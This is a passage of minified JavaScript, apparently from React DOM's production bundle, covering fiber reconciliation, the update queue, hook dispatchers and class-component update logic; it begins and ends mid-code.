k===null||k.tag!==4||k.stateNode.containerInfo!==B.containerInfo||k.stateNode.implementation!==B.implementation?(k=Tl(B,C.mode,V),k.return=C,k):(k=c(k,B.children||[]),k.return=C,k)}function U(C,k,B,V,re){return k===null||k.tag!==7?(k=dr(B,C.mode,V,re),k.return=C,k):(k=c(k,B),k.return=C,k)}function q(C,k,B){if(typeof k=="string"&&k!==""||typeof k=="number")return k=Cl(""+k,C.mode,B),k.return=C,k;if(typeof k=="object"&&k!==null){switch(k.$$typeof){case ee:return B=ia(k.type,k.key,k.props,null,C.mode,B),B.ref=Ro(C,null,k),B.return=C,B;case ue:return k=Tl(k,C.mode,B),k.return=C,k;case vt:var V=k._init;return q(C,V(k._payload),B)}if(io(k)||le(k))return k=dr(k,C.mode,B,null),k.return=C,k;Oi(C,k)}return null}function M(C,k,B,V){var re=k!==null?k.key:null;if(typeof B=="string"&&B!==""||typeof B=="number")return re!==null?null:_(C,k,""+B,V);if(typeof B=="object"&&B!==null){switch(B.$$typeof){case ee:return B.key===re?I(C,k,B,V):null;case ue:return B.key===re?R(C,k,B,V):null;case vt:return re=B._init,M(C,k,re(B._payload),V)}if(io(B)||le(B))return re!==null?null:U(C,k,B,V,null);Oi(C,B)}return null}function K(C,k,B,V,re){if(typeof V=="string"&&V!==""||typeof V=="number")return C=C.get(B)||null,_(k,C,""+V,re);if(typeof V=="object"&&V!==null){switch(V.$$typeof){case ee:return C=C.get(V.key===null?B:V.key)||null,I(k,C,V,re);case ue:return C=C.get(V.key===null?B:V.key)||null,R(k,C,V,re);case vt:var ae=V._init;return K(C,k,B,ae(V._payload),re)}if(io(V)||le(V))return C=C.get(B)||null,U(k,C,V,re,null);Oi(k,V)}return null}function te(C,k,B,V){for(var re=null,ae=null,se=k,ce=k=0,rt=null;se!==null&&ce<B.length;ce++){se.index>ce?(rt=se,se=null):rt=se.sibling;var Ee=M(C,se,B[ce],V);if(Ee===null){se===null&&(se=rt);break}e&&se&&Ee.alternate===null&&n(C,se),k=f(Ee,k,ce),ae===null?re=Ee:ae.sibling=Ee,ae=Ee,se=rt}if(ce===B.length)return a(C,se),Oe&&rr(C,ce),re;if(se===null){for(;ce<B.length;ce++)se=q(C,B[ce],V),se!==null&&(k=f(se,k,ce),ae===null?re=se:ae.sibling=se,ae=se);return Oe&&rr(C,ce),re}for(se=l(C,se);ce<B.length;ce++)rt=K(se,C,ce,B[ce],V),rt!==null&&(e&&rt.alternate!==null&&se.delete(rt.key===null?ce:rt.key),k=f(rt,k,ce),ae===null?re=rt:ae.sibling=rt,ae=rt);return e&&se.forEach(function(Mn){return n(C,Mn)}),Oe&&rr(C,ce),re}function ne(C,k,B,V){var re=le(B);if(typeof re!="function")throw Error(i(150));if(B=re.call(B),B==null)throw Error(i(151));for(var ae=re=null,se=k,ce=k=0,rt=null,Ee=B.next();se!==null&&!Ee.done;ce++,Ee=B.next()){se.index>ce?(rt=se,se=null):rt=se.sibling;var Mn=M(C,se,Ee.value,V);if(Mn===null){se===null&&(se=rt);break}e&&se&&Mn.alternate===null&&n(C,se),k=f(Mn,k,ce),ae===null?re=Mn:ae.sibling=Mn,ae=Mn,se=rt}if(Ee.done)return a(C,se),Oe&&rr(C,ce),re;if(se===null){for(;!Ee.done;ce++,Ee=B.next())Ee=q(C,Ee.value,V),Ee!==null&&(k=f(Ee,k,ce),ae===null?re=Ee:ae.sibling=Ee,ae=Ee);return Oe&&rr(C,ce),re}for(se=l(C,se);!Ee.done;ce++,Ee=B.next())Ee=K(se,C,ce,Ee.value,V),Ee!==null&&(e&&Ee.alternate!==null&&se.delete(Ee.key===null?ce:Ee.key),k=f(Ee,k,ce),ae===null?re=Ee:ae.sibling=Ee,ae=Ee);return e&&se.forEach(function(Rg){return n(C,Rg)}),Oe&&rr(C,ce),re}function He(C,k,B,V){if(typeof B=="object"&&B!==null&&B.type===de&&B.key===null&&(B=B.props.children),typeof B=="object"&&B!==null){switch(B.$$typeof){case ee:e:{for(var re=B.key,ae=k;ae!==null;){if(ae.key===re){if(re=B.type,re===de){if(ae.tag===7){a(C,ae.sibling),k=c(ae,B.props.children),k.return=C,C=k;break e}}else if(ae.elementType===re||typeof re=="object"&&re!==null&&re.$$typeof===vt&&gd(re)===ae.type){a(C,ae.sibling),k=c(ae,B.props),k.ref=Ro(C,ae,B),k.return=C,C=k;break e}a(C,ae);break}else n(C,ae);ae=ae.sibling}B.type===de?(k=dr(B.props.children,C.mode,V,B.key),k.return=C,C=k):(V=ia(B.type,B.key,B.props,null,C.mode,V),V.ref=Ro(C,k,B),V.return=C,C=V)}return v(C);case ue:e:{for(ae=B.key;k!==null;){if(k.key===ae)if(k.tag===4&&k.stateNode.containerInfo===B.containerInfo&&k.stateNode.implementation===B.implementation){a(C,k.sibling),k=c(k,B.children||[]),k.return=C,C=k;break e}else{a(C,k);break}else n(C,k);k=k.sibling}k=Tl(B,C.mode,V),k.return=C,C=k}return v(C);case vt:return ae=B._init,He(C,k,ae(B._payload),V)}if(io(B))return te(C,k,B,V);if(le(B))return ne(C,k,B,V);Oi(C,B)}return typeof B=="string"&&B!==""||typeof B=="number"?(B=""+B,k!==null&&k.tag===6?(a(C,k.sibling),k=c(k,B),k.return=C,C=k):(a(C,k),k=Cl(B,C.mode,V),k.return=C,C=k),v(C)):a(C,k)}return He}var Or=yd(!0),_d=yd(!1),ji=Tn(null),$i=null,jr=null,Ls=null;function Ds(){Ls=jr=$i=null}function Ms(e){var n=ji.current;Ne(ji),e._currentValue=n}function Fs(e,n,a){for(;e!==null;){var l=e.alternate;if((e.childLanes&n)!==n?(e.childLanes|=n,l!==null&&(l.childLanes|=n)):l!==null&&(l.childLanes&n)!==n&&(l.childLanes|=n),e===a)break;e=e.return}}function $r(e,n){$i=e,Ls=jr=null,e=e.dependencies,e!==null&&e.firstContext!==null&&((e.lanes&n)!==0&&(yt=!0),e.firstContext=null)}function jt(e){var n=e._currentValue;if(Ls!==e)if(e={context:e,memoizedValue:n,next:null},jr===null){if($i===null)throw Error(i(308));jr=e,$i.dependencies={lanes:0,firstContext:e}}else jr=jr.next=e;return n}var or=null;function Us(e){or===null?or=[e]:or.push(e)}function wd(e,n,a,l){var c=n.interleaved;return c===null?(a.next=a,Us(n)):(a.next=c.next,c.next=a),n.interleaved=a,cn(e,l)}function cn(e,n){e.lanes|=n;var a=e.alternate;for(a!==null&&(a.lanes|=n),a=e,e=e.return;e!==null;)e.childLanes|=n,a=e.alternate,a!==null&&(a.childLanes|=n),a=e,e=e.return;return a.tag===3?a.stateNode:null}var Pn=!1;function Zs(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function xd(e,n){e=e.updateQueue,n.updateQueue===e&&(n.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function dn(e,n){return{eventTime:e,lane:n,tag:0,payload:null,callback:null,next:null}}function Nn(e,n,a){var l=e.updateQueue;if(l===null)return null;if(l=l.shared,(_e&2)!==0){var c=l.pending;return c===null?n.next=n:(n.next=c.next,c.next=n),l.pending=n,cn(e,a)}return c=l.interleaved,c===null?(n.next=n,Us(l)):(n.next=c.next,c.next=n),l.interleaved=n,cn(e,a)}function Li(e,n,a){if(n=n.updateQueue,n!==null&&(n=n.shared,(a&4194240)!==0)){var l=n.lanes;l&=e.pendingLanes,a|=l,n.lanes=a,rs(e,a)}}function Ed(e,n){var a=e.updateQueue,l=e.alternate;if(l!==null&&(l=l.updateQueue,a===l)){var c=null,f=null;if(a=a.firstBaseUpdate,a!==null){do{var v={eventTime:a.eventTime,lane:a.lane,tag:a.tag,payload:a.payload,callback:a.callback,next:null};f===null?c=f=v:f=f.next=v,a=a.next}while(a!==null);f===null?c=f=n:f=f.next=n}else c=f=n;a={baseState:l.baseState,firstBaseUpdate:c,lastBaseUpdate:f,shared:l.shared,effects:l.effects},e.updateQueue=a;return}e=a.lastBaseUpdate,e===null?a.firstBaseUpdate=n:e.next=n,a.lastBaseUpdate=n}function Di(e,n,a,l){var c=e.updateQueue;Pn=!1;var f=c.firstBaseUpdate,v=c.lastBaseUpdate,_=c.shared.pending;if(_!==null){c.shared.pending=null;var I=_,R=I.next;I.next=null,v===null?f=R:v.next=R,v=I;var U=e.alternate;U!==null&&(U=U.updateQueue,_=U.lastBaseUpdate,_!==v&&(_===null?U.firstBaseUpdate=R:_.next=R,U.lastBaseUpdate=I))}if(f!==null){var q=c.baseState;v=0,U=R=I=null,_=f;do{var M=_.lane,K=_.eventTime;if((l&M)===M){U!==null&&(U=U.next={eventTime:K,lane:0,tag:_.tag,payload:_.payload,callback:_.callback,next:null});e:{var te=e,ne=_;switch(M=n,K=a,ne.tag){case 1:if(te=ne.payload,typeof te=="function"){q=te.call(K,q,M);break e}q=te;break e;case 3:te.flags=te.flags&-65537|128;case 0:if(te=ne.payload,M=typeof te=="function"?te.call(K,q,M):te,M==null)break e;q=X({},q,M);break e;case 2:Pn=!0}}_.callback!==null&&_.lane!==0&&(e.flags|=64,M=c.effects,M===null?c.effects=[_]:M.push(_))}else K={eventTime:K,lane:M,tag:_.tag,payload:_.payload,callback:_.callback,next:null},U===null?(R=U=K,I=q):U=U.next=K,v|=M;if(_=_.next,_===null){if(_=c.shared.pending,_===null)break;M=_,_=M.next,M.next=null,c.lastBaseUpdate=M,c.shared.pending=null}}while(!0);if(U===null&&(I=q),c.baseState=I,c.firstBaseUpdate=R,c.lastBaseUpdate=U,n=c.shared.interleaved,n!==null){c=n;do v|=c.lane,c=c.next;while(c!==n)}else f===null&&(c.shared.lanes=0);sr|=v,e.lanes=v,e.memoizedState=q}}function Id(e,n,a){if(e=n.effects,n.effects=null,e!==null)for(n=0;n<e.length;n++){var l=e[n],c=l.callback;if(c!==null){if(l.callback=null,l=a,typeof c!="function")throw Error(i(191,c));c.call(l)}}}var Po={},tn=Tn(Po),No=Tn(Po),Ao=Tn(Po);function ir(e){if(e===Po)throw Error(i(174));return e}function qs(e,n){switch(Te(Ao,n),Te(No,e),Te(tn,Po),e=n.nodeType,e){case 9:case 11:n=(n=n.documentElement)?n.namespaceURI:Va(null,"");break;default:e=e===8?n.parentNode:n,n=e.namespaceURI||null,e=e.tagName,n=Va(n,e)}Ne(tn),Te(tn,n)}function Lr(){Ne(tn),Ne(No),Ne(Ao)}function Sd(e){ir(Ao.current);var n=ir(tn.current),a=Va(n,e.type);n!==a&&(Te(No,e),Te(tn,a))}function Vs(e){No.current===e&&(Ne(tn),Ne(No))}var De=Tn(0);function Mi(e){for(var n=e;n!==null;){if(n.tag===13){var a=n.memoizedState;if(a!==null&&(a=a.dehydrated,a===null||a.data==="$?"||a.data==="$!"))return n}else if(n.tag===19&&n.memoizedProps.revealOrder!==void 0){if((n.flags&128)!==0)return n}else if(n.child!==null){n.child.return=n,n=n.child;continue}if(n===e)break;for(;n.sibling===null;){if(n.return===null||n.return===e)return null;n=n.return}n.sibling.return=n.return,n=n.sibling}return null}var Ws=[];function Hs(){for(var e=0;e<Ws.length;e++)Ws[e]._workInProgressVersionPrimary=null;Ws.length=0}var Fi=G.ReactCurrentDispatcher,Gs=G.ReactCurrentBatchConfig,ar=0,Me=null,Ye=null,tt=null,Ui=!1,Oo=!1,jo=0,Xh=0;function lt(){throw Error(i(321))}function Js(e,n){if(n===null)return!1;for(var a=0;a<n.length&&a<e.length;a++)if(!Zt(e[a],n[a]))return!1;return!0}function Ks(e,n,a,l,c,f){if(ar=f,Me=n,n.memoizedState=null,n.updateQueue=null,n.lanes=0,Fi.current=e===null||e.memoizedState===null?rg:og,e=a(l,c),Oo){f=0;do{if(Oo=!1,jo=0,25<=f)throw Error(i(301));f+=1,tt=Ye=null,n.updateQueue=null,Fi.current=ig,e=a(l,c)}while(Oo)}if(Fi.current=Vi,n=Ye!==null&&Ye.next!==null,ar=0,tt=Ye=Me=null,Ui=!1,n)throw Error(i(300));return e}function Qs(){var e=jo!==0;return jo=0,e}function nn(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return tt===null?Me.memoizedState=tt=e:tt=tt.next=e,tt}function $t(){if(Ye===null){var e=Me.alternate;e=e!==null?e.memoizedState:null}else e=Ye.next;var n=tt===null?Me.memoizedState:tt.next;if(n!==null)tt=n,Ye=e;else{if(e===null)throw Error(i(310));Ye=e,e={memoizedState:Ye.memoizedState,baseState:Ye.baseState,baseQueue:Ye.baseQueue,queue:Ye.queue,next:null},tt===null?Me.memoizedState=tt=e:tt=tt.next=e}return tt}function $o(e,n){return typeof n=="function"?n(e):n}function Ys(e){var n=$t(),a=n.queue;if(a===null)throw Error(i(311));a.lastRenderedReducer=e;var l=Ye,c=l.baseQueue,f=a.pending;if(f!==null){if(c!==null){var v=c.next;c.next=f.next,f.next=v}l.baseQueue=c=f,a.pending=null}if(c!==null){f=c.next,l=l.baseState;var _=v=null,I=null,R=f;do{var U=R.lane;if((ar&U)===U)I!==null&&(I=I.next={lane:0,action:R.action,hasEagerState:R.hasEagerState,eagerState:R.eagerState,next:null}),l=R.hasEagerState?R.eagerState:e(l,R.action);else{var q={lane:U,action:R.action,hasEagerState:R.hasEagerState,eagerState:R.eagerState,next:null};I===null?(_=I=q,v=l):I=I.next=q,Me.lanes|=U,sr|=U}R=R.next}while(R!==null&&R!==f);I===null?v=l:I.next=_,Zt(l,n.memoizedState)||(yt=!0),n.memoizedState=l,n.baseState=v,n.baseQueue=I,a.lastRenderedState=l}if(e=a.interleaved,e!==null){c=e;do f=c.lane,Me.lanes|=f,sr|=f,c=c.next;while(c!==e)}else c===null&&(a.lanes=0);return[n.memoizedState,a.dispatch]}function Xs(e){var n=$t(),a=n.queue;if(a===null)throw Error(i(311));a.lastRenderedReducer=e;var l=a.dispatch,c=a.pending,f=n.memoizedState;if(c!==null){a.pending=null;var v=c=c.next;do f=e(f,v.action),v=v.next;while(v!==c);Zt(f,n.memoizedState)||(yt=!0),n.memoizedState=f,n.baseQueue===null&&(n.baseState=f),a.lastRenderedState=f}return[f,l]}function kd(){}function bd(e,n){var a=Me,l=$t(),c=n(),f=!Zt(l.memoizedState,c);if(f&&(l.memoizedState=c,yt=!0),l=l.queue,el(Td.bind(null,a,l,e),[e]),l.getSnapshot!==n||f||tt!==null&&tt.memoizedState.tag&1){if(a.flags|=2048,Lo(9,Cd.bind(null,a,l,c,n),void 0,null),nt===null)throw Error(i(349));(ar&30)!==0||zd(a,n,c)}return c}function zd(e,n,a){e.flags|=16384,e={getSnapshot:n,value:a},n=Me.updateQueue,n===null?(n={lastEffect:null,stores:null},Me.updateQueue=n,n.stores=[e]):(a=n.stores,a===null?n.stores=[e]:a.push(e))}function Cd(e,n,a,l){n.value=a,n.getSnapshot=l,Bd(n)&&Rd(e)}function Td(e,n,a){return a(function(){Bd(n)&&Rd(e)})}function Bd(e){var n=e.getSnapshot;e=e.value;try{var a=n();return!Zt(e,a)}catch{return!0}}function Rd(e){var n=cn(e,1);n!==null&&Gt(n,e,1,-1)}function Pd(e){var n=nn();return typeof e=="function"&&(e=e()),n.memoizedState=n.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:$o,lastRenderedState:e},n.queue=e,e=e.dispatch=ng.bind(null,Me,e),[n.memoizedState,e]}function Lo(e,n,a,l){return e={tag:e,create:n,destroy:a,deps:l,next:null},n=Me.updateQueue,n===null?(n={lastEffect:null,stores:null},Me.updateQueue=n,n.lastEffect=e.next=e):(a=n.lastEffect,a===null?n.lastEffect=e.next=e:(l=a.next,a.next=e,e.next=l,n.lastEffect=e)),e}function Nd(){return $t().memoizedState}function Zi(e,n,a,l){var c=nn();Me.flags|=e,c.memoizedState=Lo(1|n,a,void 0,l===void 0?null:l)}function qi(e,n,a,l){var c=$t();l=l===void 0?null:l;var f=void 0;if(Ye!==null){var v=Ye.memoizedState;if(f=v.destroy,l!==null&&Js(l,v.deps)){c.memoizedState=Lo(n,a,f,l);return}}Me.flags|=e,c.memoizedState=Lo(1|n,a,f,l)}function Ad(e,n){return Zi(8390656,8,e,n)}function el(e,n){return qi(2048,8,e,n)}function Od(e,n){return qi(4,2,e,n)}function jd(e,n){return qi(4,4,e,n)}function $d(e,n){if(typeof n=="function")return e=e(),n(e),function(){n(null)};if(n!=null)return e=e(),n.current=e,function(){n.current=null}}function Ld(e,n,a){return a=a!=null?a.concat([e]):null,qi(4,4,$d.bind(null,n,e),a)}function tl(){}function Dd(e,n){var a=$t();n=n===void 0?null:n;var l=a.memoizedState;return l!==null&&n!==null&&Js(n,l[1])?l[0]:(a.memoizedState=[e,n],e)}function Md(e,n){var a=$t();n=n===void 0?null:n;var l=a.memoizedState;return l!==null&&n!==null&&Js(n,l[1])?l[0]:(e=e(),a.memoizedState=[e,n],e)}function Fd(e,n,a){return(ar&21)===0?(e.baseState&&(e.baseState=!1,yt=!0),e.memoizedState=a):(Zt(a,n)||(a=gc(),Me.lanes|=a,sr|=a,e.baseState=!0),n)}function eg(e,n){var a=be;be=a!==0&&4>a?a:4,e(!0);var l=Gs.transition;Gs.transition={};try{e(!1),n()}finally{be=a,Gs.transition=l}}function Ud(){return $t().memoizedState}function tg(e,n,a){var l=$n(e);if(a={lane:l,action:a,hasEagerState:!1,eagerState:null,next:null},Zd(e))qd(n,a);else if(a=wd(e,n,a,l),a!==null){var c=pt();Gt(a,e,l,c),Vd(a,n,l)}}function ng(e,n,a){var l=$n(e),c={lane:l,action:a,hasEagerState:!1,eagerState:null,next:null};if(Zd(e))qd(n,c);else{var f=e.alternate;if(e.lanes===0&&(f===null||f.lanes===0)&&(f=n.lastRenderedReducer,f!==null))try{var v=n.lastRenderedState,_=f(v,a);if(c.hasEagerState=!0,c.eagerState=_,Zt(_,v)){var I=n.interleaved;I===null?(c.next=c,Us(n)):(c.next=I.next,I.next=c),n.interleaved=c;return}}catch{}a=wd(e,n,c,l),a!==null&&(c=pt(),Gt(a,e,l,c),Vd(a,n,l))}}function Zd(e){var n=e.alternate;return e===Me||n!==null&&n===Me}function qd(e,n){Oo=Ui=!0;var a=e.pending;a===null?n.next=n:(n.next=a.next,a.next=n),e.pending=n}function Vd(e,n,a){if((a&4194240)!==0){var l=n.lanes;l&=e.pendingLanes,a|=l,n.lanes=a,rs(e,a)}}var Vi={readContext:jt,useCallback:lt,useContext:lt,useEffect:lt,useImperativeHandle:lt,useInsertionEffect:lt,useLayoutEffect:lt,useMemo:lt,useReducer:lt,useRef:lt,useState:lt,useDebugValue:lt,useDeferredValue:lt,useTransition:lt,useMutableSource:lt,useSyncExternalStore:lt,useId:lt,unstable_isNewReconciler:!1},rg={readContext:jt,useCallback:function(e,n){return nn().memoizedState=[e,n===void 0?null:n],e},useContext:jt,useEffect:Ad,useImperativeHandle:function(e,n,a){return a=a!=null?a.concat([e]):null,Zi(4194308,4,$d.bind(null,n,e),a)},useLayoutEffect:function(e,n){return Zi(4194308,4,e,n)},useInsertionEffect:function(e,n){return Zi(4,2,e,n)},useMemo:function(e,n){var a=nn();return n=n===void 0?null:n,e=e(),a.memoizedState=[e,n],e},useReducer:function(e,n,a){var l=nn();return n=a!==void 0?a(n):n,l.memoizedState=l.baseState=n,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:n},l.queue=e,e=e.dispatch=tg.bind(null,Me,e),[l.memoizedState,e]},useRef:function(e){var n=nn();return e={current:e},n.memoizedState=e},useState:Pd,useDebugValue:tl,useDeferredValue:function(e){return nn().memoizedState=e},useTransition:function(){var e=Pd(!1),n=e[0];return e=eg.bind(null,e[1]),nn().memoizedState=e,[n,e]},useMutableSource:function(){},useSyncExternalStore:function(e,n,a){var l=Me,c=nn();if(Oe){if(a===void 0)throw Error(i(407));a=a()}else{if(a=n(),nt===null)throw Error(i(349));(ar&30)!==0||zd(l,n,a)}c.memoizedState=a;var f={value:a,getSnapshot:n};return c.queue=f,Ad(Td.bind(null,l,f,e),[e]),l.flags|=2048,Lo(9,Cd.bind(null,l,f,a,n),void 0,null),a},useId:function(){var e=nn(),n=nt.identifierPrefix;if(Oe){var a=un,l=ln;a=(l&~(1<<32-Ut(l)-1)).toString(32)+a,n=":"+n+"R"+a,a=jo++,0<a&&(n+="H"+a.toString(32)),n+=":"}else a=Xh++,n=":"+n+"r"+a.toString(32)+":";return e.memoizedState=n},unstable_isNewReconciler:!1},og={readContext:jt,useCallback:Dd,useContext:jt,useEffect:el,useImperativeHandle:Ld,useInsertionEffect:Od,useLayoutEffect:jd,useMemo:Md,useReducer:Ys,useRef:Nd,useState:function(){return Ys($o)},useDebugValue:tl,useDeferredValue:function(e){var n=$t();return Fd(n,Ye.memoizedState,e)},useTransition:function(){var e=Ys($o)[0],n=$t().memoizedState;return[e,n]},useMutableSource:kd,useSyncExternalStore:bd,useId:Ud,unstable_isNewReconciler:!1},ig={readContext:jt,useCallback:Dd,useContext:jt,useEffect:el,useImperativeHandle:Ld,useInsertionEffect:Od,useLayoutEffect:jd,useMemo:Md,useReducer:Xs,useRef:Nd,useState:function(){return Xs($o)},useDebugValue:tl,useDeferredValue:function(e){var n=$t();return Ye===null?n.memoizedState=e:Fd(n,Ye.memoizedState,e)},useTransition:function(){var e=Xs($o)[0],n=$t().memoizedState;return[e,n]},useMutableSource:kd,useSyncExternalStore:bd,useId:Ud,unstable_isNewReconciler:!1};function Vt(e,n){if(e&&e.defaultProps){n=X({},n),e=e.defaultProps;for(var a in e)n[a]===void 0&&(n[a]=e[a]);return n}return n}function nl(e,n,a,l){n=e.memoizedState,a=a(l,n),a=a==null?n:X({},n,a),e.memoizedState=a,e.lanes===0&&(e.updateQueue.baseState=a)}var Wi={isMounted:function(e){return(e=e._reactInternals)?Xn(e)===e:!1},enqueueSetState:function(e,n,a){e=e._reactInternals;var l=pt(),c=$n(e),f=dn(l,c);f.payload=n,a!=null&&(f.callback=a),n=Nn(e,f,c),n!==null&&(Gt(n,e,c,l),Li(n,e,c))},enqueueReplaceState:function(e,n,a){e=e._reactInternals;var l=pt(),c=$n(e),f=dn(l,c);f.tag=1,f.payload=n,a!=null&&(f.callback=a),n=Nn(e,f,c),n!==null&&(Gt(n,e,c,l),Li(n,e,c))},enqueueForceUpdate:function(e,n){e=e._reactInternals;var a=pt(),l=$n(e),c=dn(a,l);c.tag=2,n!=null&&(c.callback=n),n=Nn(e,c,l),n!==null&&(Gt(n,e,l,a),Li(n,e,l))}};function Wd(e,n,a,l,c,f,v){return e=e.stateNode,typeof e.shouldComponentUpdate=="function"?e.shouldComponentUpdate(l,f,v):n.prototype&&n.prototype.isPureReactComponent?!So(a,l)||!So(c,f):!0}function Hd(e,n,a){var l=!1,c=Bn,f=n.contextType;return typeof f=="object"&&f!==null?f=jt(f):(c=gt(n)?tr:st.current,l=n.contextTypes,f=(l=l!=null)?Rr(e,c):Bn),n=new n(a,f),e.memoizedState=n.state!==null&&n.state!==void 0?n.state:null,n.updater=Wi,e.stateNode=n,n._reactInternals=e,l&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=c,e.__reactInternalMemoizedMaskedChildContext=f),n}function Gd(e,n,a,l){e=n.state,typeof n.componentWillReceiveProps=="function"&&n.componentWillReceiveProps(a,l),typeof n.UNSAFE_componentWillReceiveProps=="function"&&n.UNSAFE_componentWillReceiveProps(a,l),n.state!==e&&Wi.enqueueReplaceState(n,n.state,null)}function rl(e,n,a,l){var c=e.stateNode;c.props=a,c.state=e.memoizedState,c.refs={},Zs(e);var f=n.contextType;typeof f=="object"&&f!==null?c.context=jt(f):(f=gt(n)?tr:st.current,c.context=Rr(e,f)),c.state=e.memoizedState,f=n.getDerivedStateFromProps,typeof f=="function"&&(nl(e,n,f,a),c.state=e.memoizedState),typeof n.getDerivedStateFromProps=="function"||typeof c.getSnapshotBeforeUpdate=="function"||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(n=c.state,typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount(),n!==c.state&&Wi.enqueueReplaceState(c,c.state,null),Di(e,a,c,l),c.state=e.memoizedState),typeof c.componentDidMount=="function"&&(e.flags|=4194308)}function Dr(e,n){try{var a="",l=n;do a+=we(l),l=l.return;while(l);var c=a}catch(f){c=`
+Error generating stack: `+f.message+`
+`+f.stack}return{value:e,source:n,stack:c,digest:null}}function ol(e,n,a){return{value:e,source:null,stack:a??null,digest:n??null}}function il(e,n){try{console.error(n.value)}catch(a){setTimeout(function(){throw a})}}var ag=typeof WeakMap=="function"?WeakMap:Map;function Jd(e,n,a){a=dn(-1,a),a.tag=3,a.payload={element:null};var l=n.value;return a.callback=function(){Xi||(Xi=!0,wl=l),il(e,n)},a}function Kd(e,n,a){a=dn(-1,a),a.tag=3;var l=e.type.getDerivedStateFromError;if(typeof l=="function"){var c=n.value;a.payload=function(){return l(c)},a.callback=function(){il(e,n)}}var f=e.stateNode;return f!==null&&typeof f.componentDidCatch=="function"&&(a.callback=function(){il(e,n),typeof l!="function"&&(On===null?On=new Set([this]):On.add(this));var v=n.stack;this.componentDidCatch(n.value,{componentStack:v!==null?v:""})}),a}function Qd(e,n,a){var l=e.pingCache;if(l===null){l=e.pingCache=new ag;var c=new Set;l.set(n,c)}else c=l.get(n),c===void 0&&(c=new Set,l.set(n,c));c.has(a)||(c.add(a),e=wg.bind(null,e,n,a),n.then(e,e))}function Yd(e){do{var n;if((n=e.tag===13)&&(n=e.memoizedState,n=n!==null?n.dehydrated!==null:!0),n)return e;e=e.return}while(e!==null);return null}function Xd(e,n,a,l,c){return(e.mode&1)===0?(e===n?e.flags|=65536:(e.flags|=128,a.flags|=131072,a.flags&=-52805,a.tag===1&&(a.alternate===null?a.tag=17:(n=dn(-1,1),n.tag=2,Nn(a,n,1))),a.lanes|=1),e):(e.flags|=65536,e.lanes=c,e)}var sg=G.ReactCurrentOwner,yt=!1;function dt(e,n,a,l){n.child=e===null?_d(n,null,a,l):Or(n,e.child,a,l)}function ep(e,n,a,l,c){a=a.render;var f=n.ref;return $r(n,c),l=Ks(e,n,a,l,f,c),a=Qs(),e!==null&&!yt?(n.updateQueue=e.updateQueue,n.flags&=-2053,e.lanes&=~c,pn(e,n,c)):(Oe&&a&&Ns(n),n.flags|=1,dt(e,n,l,c),n.child)}function tp(e,n,a,l,c){if(e===null){var f=a.type;return typeof f=="function"&&!zl(f)&&f.defaultProps===void 0&&a.compare===null&&a.defaultProps===void 0?(n.tag=15,n.type=f,np(e,n,f,l,c)):(e=ia(a.type,null,l,n,n.mode,c),e.ref=n.ref,e.return=n,n.child=e)}if(f=e.child,(e.lanes&c)===0){var v=f.memoizedProps;if(a=a.compare,a=a!==null?a:So,a(v,l)&&e.ref===n.ref)return pn(e,n,c)}return n.flags|=1,e=Dn(f,l),e.ref=n.ref,e.return=n,n.child=e}function np(e,n,a,l,c){if(e!==null){var f=e.memoizedProps;if(So(f,l)&&e.ref===n.ref)if(yt=!1,n.pendingProps=l=f,(e.lanes&c)!==0)(e.flags&131072)!==0&&(yt=!0);else return n.lanes=e.lanes,pn(e,n,c)}return al(e,n,a,l,c)}function rp(e,n,a){var l=n.pendingProps,c=l.children,f=e!==null?e.memoizedState:null;if(l.mode==="hidden")if((n.mode&1)===0)n.memoizedState={baseLanes:0,cachePool:null,transitions:null},Te(Fr,Bt),Bt|=a;else{if((a&1073741824)===0)return e=f!==null?f.baseLanes|a:a,n.lanes=n.childLanes=1073741824,n.memoizedState={baseLanes:e,cachePool:null,transitions:null},n.updateQueue=null,Te(Fr,Bt),Bt|=e,null;n.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=f!==null?f.baseLanes:a,Te(Fr,Bt),Bt|=l}else f!==null?(l=f.baseLanes|a,n.memoizedState=null):l=a,Te(Fr,Bt),Bt|=l;return dt(e,n,c,a),n.child}function op(e,n){var a=n.ref;(e===null&&a!==null||e!==null&&e.ref!==a)&&(n.flags|=512,n.flags|=2097152)}function al(e,n,a,l,c){var f=gt(a)?tr:st.current;return f=Rr(n,f),$r(n,c),a=Ks(e,n,a,l,f,c),l=Qs(),e!==null&&!yt?(n.updateQueue=e.updateQueue,n.flags&=-2053,e.lanes&=~c,pn(e,n,c)):(Oe&&l&&Ns(n),n.flags|=1,dt(e,n,a,c),n.child)}function ip(e,n,a,l,c){if(gt(a)){var f=!0;Bi(n)}else f=!1;if($r(n,c),n.stateNode===null)Gi(e,n),Hd(n,a,l),rl(n,a,l,c),l=!0;else if(e===null){var v=n.stateNode,_=n.memoizedProps;v.props=_;var I=v.context,R=a.contextType;typeof R=="object"&&R!==null?R=jt(R):(R=gt(a)?tr:st.current,R=Rr(n,R));var U=a.getDerivedStateFromProps,q=typeof U=="function"||typeof v.getSnapshotBeforeUpdate=="function";q||typeof v.UNSAFE_componentWillReceiveProps!="function"&&typeof v.componentWillReceiveProps!="function"||(_!==l||I!==R)&&Gd(n,v,l,R),Pn=!1;var M=n.memoizedState;v.state=M,Di(n,l,v,c),I=n.memoizedState,_!==l||M!==I||ht.current||Pn?(typeof U=="function"&&(nl(n,a,U,l),I=n.memoizedState),(_=Pn||Wd(n,a,_,l,M,I,R))?(q||typeof v.UNSAFE_componentWillMount!="function"&&typeof v.componentWillMount!="function"||(typeof v.componentWillMount=="function"&&v.componentWillMount(),typeof v.UNSAFE_componentWillMount=="function"&&v.UNSAFE_componentWillMount()),typeof v.componentDidMount=="function"&&(n.flags|=4194308)):(typeof v.componentDidMount=="function"&&(n.flags|=4194308),n.memoizedProps=l,n.memoizedState=I),v.props=l,v.state=I,v.context=R,l=_):(typeof 